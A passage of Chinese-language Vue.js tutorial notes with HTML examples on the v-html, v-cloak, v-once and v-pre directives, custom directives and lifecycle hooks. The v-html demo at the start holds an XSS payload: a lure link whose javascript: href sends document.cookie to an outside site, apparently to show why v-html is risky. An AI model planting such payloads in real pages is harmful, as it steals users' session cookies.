</head>

<body>
  <div id="root">
    <div>你好,{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name: '小王',
      str: '<h3>hello</h3>',
      str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
    }
  })
</script>

</html>

v-cloak指令

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. 使用css配合v-c1oak可以解决网速慢时页面展示出{{xxx}}的问题。
```html
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-cloak指令</title>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2 v-cloak>{{name}}</h2>
  </div>

</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name: 'Vue'
    }
  })
</script>

</html>

v-once指令

  1. v-once所在节点在初次动态渲染后就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-once指令</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2 v-once>n的初始值是:{{n}}</h2>
    <h2>当前n的值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      n: 1
    }
  })
</script>

</html>

v-pre指令:

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-pre指令</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h2 v-pre>n的初始值是:{{n}}</h2>
    <h2 v-pre>当前n的值是:{{n}}</h2>
    <button v-pre @click="n++">点我n+1</button>
  </div>
</body>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      n: 1
    }
  })
</script>

</html>

自定义指令

  1. 定义语法:
    1. 局部指令:
      new Vue({ new Vue({ directives:{指令名:配置对象} 或 directives(){} }) })
    2. 全局指令:
      Vue.directive(指令名,配置对象)Vue.directive(指令名,回调函数)
      配置对象中常用的3个回调:
      1. bind:指令与元素成功绑定时调用。
      2. inserted:指令所在元素被插入页面时调用。
      3. update:指令所在模板结构被重新解析时调用。
  2. 备注:
    1. 指令定义时不加v-,但使用时要加v-
    2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

生命周期

  1. 又名:生命周则回调函数、生命周期函数、生命周期钩子。
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  4. 生命周期函数中的this指向是vm或组件实例对象。
    在这里插入图片描述
    在这里插入图片描述
    常用的生命周期钩子:
  5. mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
  6. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
    关于销毁Vue实例
  7. 销毁后借Vue开发者工具看不到任何信息。
  8. 销毁后自定义事件会失效,但原生DOM事件依然有效。
  9. 一般不会再beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。